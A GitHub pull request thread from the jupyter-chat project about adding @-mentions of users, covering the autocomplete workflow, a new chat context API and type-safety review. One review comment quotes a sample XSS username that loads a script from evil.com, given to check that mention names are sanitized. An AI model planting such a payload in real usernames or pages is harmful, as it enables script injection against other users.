Mention users in messages (using @)

[brichet]

This PR allows to mention users in messages.
Fixes #184

record-2025-03-20_10.55.07.webm

General workflow

• The autocomplete contains all users who have already written in the chat and all users who are currently connected to it. Each chat command displays the user avatar.
• Selecting a user from the chat commands updates a list of mentions in the input model, and adds @username in the input.
• When the message is sent, the mentioned users are attached to the message object.
• When the message is displayed (markdown renderer), the mentioned user string (@username) is replaced by a span to add style on it.

Some details on the changes

• The IChatCommandProvider methods receive also the ChatModel in arguments. It's required to find the users of the chat.
• The IUser interface has now an optional attribute mention_name (string), used to find the mention in the message and to replace it with the span on the fly.
• When editing a message, the mention span is replaced back to the mention_name, for a better user experience.
• It seems difficult to catch when a mention is removed from the message, we should listen for changes in message and looks for user_mention in real time. Therefore, when the message is sent (or updated), the mention list of the input is checked to make sure that the message still contains the mention_name.

[github-actions]

👈 Launch a Binder on branch brichet/jupyter-chat/user_mention

[brichet]

The current implementation creates the user list every time the mention command is requested (typing @ in the input).

It seems to be quite reactive with a few users, but may become problematic if a lot of users are involved/connected to the chat.
It might be possible to build and update the user list for each chat using signals.

The MentionCommandProvider could receive app.serviceManager.events.stream signal to build the list of users when a chat is created, and clean it when a chat is deleted.
Then we would have to listen for (1) the user list in the shared model (users who wrote in the chat or have been mentioned) and (2) the user list in the shared model awareness (users currently connected to chat) to update the users of each chat in MentionCommandProvider.

Maybe we should wait for existing issues before implementing this.

[dlqqq]

@brichet Thank you for working on this! This is a huge contribution.

I left some feedback below. Not sure how much of it we want to address in this PR. I think you're in a better position to judge what can / can't be addressed here.

BTW, does this allow typing @Jupyternaut when Jupyter AI is installed?

[brichet]

@dlqqq I added a chat context to the chat input as discussed #190 (comment)

The main idea to be able send a context (read-only subset of the chat model) to the chat input. This context is sent only if the createChatContext() method is overridden in the chat model.

[brichet]

BTW, does this allow typing @Jupyternaut when Jupyter AI is installed?

Yes, Jupyternaut is connected to the chat as a regular user: https://github.com/jupyterlab/jupyter-ai/blob/a82eecc220a032b9bfbef9beb3da900a8bfd4e59/packages/jupyter-ai/jupyter_ai/extension.py#L272

[brichet]

This may introduce a XSS vulnerability because it's unclear whether user.mention_name is sanitized before rendering. React might do this automatically, but if not, a malicious actor could exploit this by setting their username to Good person <script src="https://evil.com/evil.js" />.

IIUC the default rendermime registry has a sanitizer, which doesn't allow script tags : https://github.com/jupyterlab/jupyterlab/blob/8ce37a58199674b1a7a44e2f5cb059465fcef411/packages/apputils/src/sanitizer.ts#L490

The additional span is displayed using the markdown renderer, so it should be sanitized. I did a test and the script tag is indeed removed from the rendered message.
Do you think that it'senough to prevent XSS attack (at least in a regular installation with the sanitizer available) ?

[dlqqq]

@brichet Love the new chat context! I thought it would be a second argument, but placing it under InputModel still makes sense & keeps the API smaller. 🤗

I'm not able to give a full review today, but I was able to find an opportunity to simplify the code further. Let me know what you think! 👋

[dlqqq]

@brichet

Do you think that it'senough to prevent XSS attack (at least in a regular installation with the sanitizer available) ?

Yes, and thank you for doing that research! It's safe to replace @-mentions with <span> elements for now, but I think we should improve this (#204) before JAI v3.0.0.

[dlqqq]

Thank you for the updates @brichet! There are still some unsafe type casts being introduced by this branch, and I think we should continue exploring ways to keep the code safe before merging.

[dlqqq]

Do we need to provide both LabChatContext and ChatContext? There are other areas in this branch where we are unsafely casting IChatContext objects as LabChatContext to access the users property defined here. If we require this property, then it doesn't seem to make sense to have the IChatContext exclude that property.

I recommend that the users property be added to the IChatContext interface to remove the type casts. I also suggest we merge ChatContext and LabChatContext together, since one interface will only require one implementation. Is this possible? If not, what is the reason for providing 2 implementations in 2 different packages?

[dlqqq]

Documenting some usability issues I noticed while testing this branch. No need to address these in the same PR, just making a list so we can open an issue later.

• Unable to select text within the chat widget. The chat input keeps taking back the focus state.
• Previously-connected users are listed in the commands menu when @ is typed. Even if the same user is connecting to the chat repeatedly, the list of users grows and becomes a list of @Anonymous-XYZ, @Anonymous-FooBar, etc.

[dlqqq]

@brichet I've opened a new PR on your fork targeting this branch. This implements the feedback that I had suggested in my last review: brichet#4

[brichet]

@brichet I've opened a new PR on your fork targeting this branch. This implements the feedback that I had suggested in my last review: brichet#4

Thanks @dlqqq for opening it.
I give some comments here, for a better visibility.

With this "double" implementation of the ChatContext (in @jupyter/chat and jupyterlab-chat), I wanted to avoid:

• forcing a third party extension (extending the AbstractChatModel) to implement the createChatContext() when it does not need it
• forcing the implementation of get users() when extending the IChatContext if not necessary

This is why I found it simpler to provide a default ChatContext anyway, that can be extended only if necessary.

For example, the AbstractChatModel is extended in jupyterlite-ai:

• (1) in the current state, there is no need for a ChatContext
• (2) if we add a ChatContext in future, the concept of users does not really make sense

---

1. If you really think that we should avoid type casting (I don't have a strong opinion on it), do you think it is possible to make createChatContext() optional in the AbstractChatModel, and get user() optional in the IChatContext ?

2. An other option could be to safely cast type, maybe something like

if (inputModel.chatContext implements ILabChatContext):

[dlqqq]

@brichet JupyterLite can either just return an empty array or an array with one item describing the current user. For example:

class LiteChatContext extends AbstractChatContext implements IChatContext {
   /**
   * The list of users who have connected to this chat. 
   */
  get users(): IUser[] {
    return []; // or, return a one-item array like [this.user]
  }
}

Even though it doesn't seem like JupyterLite needs to implement IChatContext right now, it may require this in the future if we add more properties. If not, we can make createChatContext() optional later on, before v1.0.0.

[dlqqq]

🎉 🎉 🎉 Thank you! We can revert some of the changes concerning chat context later, if we find a better way to provide a list of users to chat commands.